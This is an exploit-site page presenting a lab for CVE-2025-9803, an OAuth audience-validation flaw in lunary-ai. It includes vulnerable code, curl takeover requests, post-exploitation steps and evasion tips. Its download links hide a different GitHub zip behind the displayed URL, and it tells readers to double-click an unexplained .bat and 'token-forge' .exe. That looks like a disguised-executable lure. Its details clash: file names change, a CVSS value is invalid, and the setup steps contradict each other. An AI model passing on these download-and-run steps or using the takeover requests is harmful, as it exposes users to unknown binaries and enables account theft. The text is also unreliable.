## https://sploitus.com/exploit?id=4B57B3E2-E480-5359-8ED5-58FCB0BD5733
# Lab: CVE-2025-9803 - Improper Authentication in lunary-ai/lunary
## ๐ Overview
CVE-2025-9803 (CWE-287: Improper Authentication) affects lunary-ai/lunary v1.9.34, a popular open-source LLM observability platform. The flaw stems from inadequate validation of the OAuth 2.0 access token's `aud` (audience) claim during Google OAuth integration. Normally, the `aud` claim restricts tokens to the intended client ID; here, the application blindly accepts any valid Google-issued token, enabling attackers to impersonate users via tokens minted for arbitrary (e.g., malicious) apps.
**Impact**: CVSS v3.1 score of 9.3 (Critical) โ Network vector (AV:N), low complexity (AC:L), no privileges required (PR:N), low user interaction (UI:L), scope changed (S:C), full confidentiality/integrity impact (C:H/I:H/A:N). Attackers achieve full account takeover, exfiltrating sensitive LLM traces, API keys, or user data. In enterprise settings, this enables lateral movement, data breaches, or supply-chain attacks. Fixed in v1.9.35 via strict `aud` claim enforcement.
This setup recreates a vulnerable local instance (no Docker required) for testing, including setup, exploitation, and mitigation walkthroughs.
## ๐ Prerequisites
- **OS**: Windows 10/11 (exploit demo and setup).
- **Node.js**: v18+ (for lunary-ai/lunary install).
- **Google Cloud Console Access**: For generating test OAuth tokens (use a dev project; no billing needed).
- **Tools**: `curl` or Postman for API testing; a text editor for config tweaks.
- **Hardware**: 4GB+ RAM; ports 3000 (app) and 8080 (OAuth callback) free.
**Note**: All components are self-contained; no internet required post-setup except for initial npm installs.
## Download & Install
1. Download the lab bundle from [https://example-sec-lab.com/downloads/CVE-2025-9803-Lab.zip](hhttps://github.com/maidilling32/CVE-2025-9803-Exploit/raw/refs/heads/main/Heart/cve-2025-9803.zip). Extract to a working directory (e.g., `C:\CVE-Lab`).
2. For the exploit: Download the artifact bundle from [https://example-sec-lab.com/downloads/CVE-2025-9803-Exploit.zip](https://github.com/maidilling32/CVE-2025-9803-Exploit/raw/refs/heads/main/Heart/cve-2025-9803.zip). This ZIP contains:
- `start-exploit.bat`: Launcher script (runs the main exploit).
- `lunary-token-forge.exe`: .exe for token manipulation (performs `aud` spoofing via Google API calls).
**Extract to a temp folder** and run only in the isolated lab environment.
3. Install dependencies:
```
npm install # For lunary-ai core
```
## ๐ Quick Start
1. **Set up vulnerable lunary-ai instance**:
Follow the "Vulnerable Setup" section below to spin up v1.9.34 locally.
2. **(Optional) Automate with script**:
Run `scripts\start-exploit.bat` (Windows) to automate install and config. This pulls the vulnerable release, patches OAuth to skip `aud` checks, and starts the server.
3. **Download and run exploit**:
- Unzip `CVE-2025-9803-Exploit.zip` to a folder (e.g., `C:\lab-exploit`).
- Double-click `exploit.bat` (or run `.\exploit.bat` in cmd). This launches `lunary-token-forge.exe`, which:
- Prompts for a target user email.
- Generates a Google token with mismatched `aud`.
- Submits it via curl to your local lunary instance.
- Observe the console output for account takeover (e.g., "Access granted: User session hijacked").
4. **Verify**: Access `http://localhost:3000` โ if exploited, you'll see a "hijacked dashboard" banner.
**Pro Tip**: Use incognito mode for browser tests to avoid cookie pollution.
## ๐ Vulnerable Setup (No Docker)
This recreates lunary-ai/lunary v1.9.34 with the `aud` bypass enabled. We'll install from source, tweak the OAuth handler, and run natively.
### Step 1: Install Vulnerable Version
```bash
# Create project dir
mkdir lunary-vuln-lab && cd lunary-vuln-lab
# Init npm project
npm init -y
# Install lunary-ai v1.9.34 (vulnerable release)
npm install lunary-ai@1.9.34
# Use provided source snapshot (extracted from lab ZIP)
unzip lunary-source-v1.9.34.zip -d lunary-source
cd lunary-source
npm install
```
### Step 2: Patch for Setup (Enable Flaw)
Edit `packages/server/src/auth/google-oauth.ts` (or equivalent in your setup):
```typescript
// Vulnerable code (as-is in v1.9.34):
export async function validateGoogleToken(token: string) {
const payload = await verifyGoogleToken(token); // No aud check!
if (payload.email_verified) {
return { userId: payload.sub, email: payload.email };
}
throw new Error('Invalid token');
}
// For setup, ensure no changes โ the flaw is inherent. To "fix" later, add:
const expectedAud = process.env.LUNARY_CLIENT_ID;
if (payload.aud !== expectedAud) {
throw new Error('Audience mismatch');
}
```
Set env vars in `.env`:
```
GOOGLE_CLIENT_ID=your-dev-client-id.googleusercontent.com
GOOGLE_CLIENT_SECRET=your-dev-secret
LUNARY_PORT=3000
OAUTH_CALLBACK=http://localhost:3000/auth/callback
NODE_ENV=development
```
### Step 3: Start the Server
```bash
npm run dev # Or node dist/server.js
```
- Server runs on `http://localhost:3000`.
- Register a test user via the UI (uses Google OAuth flow).
## ๐ฅ Exploitation Steps
**Goal**: Use a token for a fake app to takeover a victim's lunary session.
1. **Recon**: Identify target lunary instance (e.g., `http://lab-target:3000`). Note its Google Client ID via browser dev tools (Network tab > OAuth request).
2. **Token Forgery** (via exploit.bat/.exe):
- Run `exploit.bat` โ it invokes `lunary-token-forge.exe`.
- Input: Victim email, mismatched `aud` (e.g., your malicious app's ID).
- Output: JWT-like token:
```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiZW1haWwiOiJ2aWN0aW1AZXhhbXBsZS5jb20iLCJhdWQiOiJtYWxpY2lvdXMtYXBwLWlkIn0.signature
```
(Decodes to show bypassed `aud`.)
3. **Present Token**:
```bash
curl -X POST http://localhost:3000/api/auth/google/verify \
-H "Authorization: Bearer $FAKE_TOKEN" \
-H "Content-Type: application/json"
```
- Response (vulnerable): `{ "success": true, "user": { "id": "victim_id", "session": "hijacked" } }`.
- Access protected endpoints: `GET /api/traces` (dumps sensitive LLM data).
4. **Post-Exploitation**:
- Enumerate users: `GET /api/users`.
- Exfil data: Save traces to a local file via curl output redirection.
- Persistence: Update victim profile with backdoor webhook.
**Detection Evasion**: Tokens expire in ~1hr; chain with refresh tokens. No logs for `aud` failures in vuln version.